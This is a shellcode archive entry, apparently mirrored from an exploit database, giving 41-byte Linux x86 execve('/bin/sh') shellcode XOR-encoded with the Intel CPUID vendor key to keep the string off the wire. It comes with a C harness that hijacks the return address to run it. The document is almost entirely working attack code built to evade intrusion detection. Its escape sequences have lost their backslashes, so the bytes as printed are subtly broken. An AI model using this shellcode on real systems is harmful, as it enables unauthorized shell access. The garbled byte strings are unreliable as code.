[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 execve /bin/sh xored for Intel x86 CPUID 41 bytes
# Published : 2006-01-25
# Author : izik
# Previous Title : linux/x86 TCP Proxy Shellcode 236 bytes
# Next Title : linux/x86 execve /bin/sh anti-ids 40 bytes
/*
* (linux/x86) execve("/bin/sh", ["/bin/sh"], NULL) / xor'ed against Intel x86 CPUID - 41 bytes
*
* The idea behind this shellcode is to use a *weak* pre-shared secret between the attacker and
* the attacked machine. So if a 3rd party side would try to run this shellcode and would produce
* a different CPUID output (e.g. different arch) the shellcode won't work. In addition this also
* prevents from having the '/bin/sh' string visible on the wire.
*
* The shellcode key is (0x6c65746e, 'letn') and expected to be in %ecx register after CPUID
*
* - izik <izik@tty64.org>
*/
char shellcode[] =
"x31xc0" // xor %eax,%eax
"x0fxa2" // cpuid
"x51" // push %ecx
"x68xe7x95xa8xec" // push $0xeca895e7
"x68xdex7fx37x3f" // push $0x3f377fde
"x68x07x1axecx8f" // push $0x8fec1a07
"x68x6ex1cx4ax0e" // push $0x0e4a1c6e
"x68x06x5bx16x04" // push $0x04165b06
//
// <_unpack_loop>:
//
"x31x0cx24" // xor %ecx,(%esp)
"x5a" // pop %edx
"x75xfa" // jne <_unpack_loop>
"x83xecx18" // sub $0x18,%esp
"x54" // push %esp
"xc3"; // ret
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
// www.Syue.com [2006-01-25]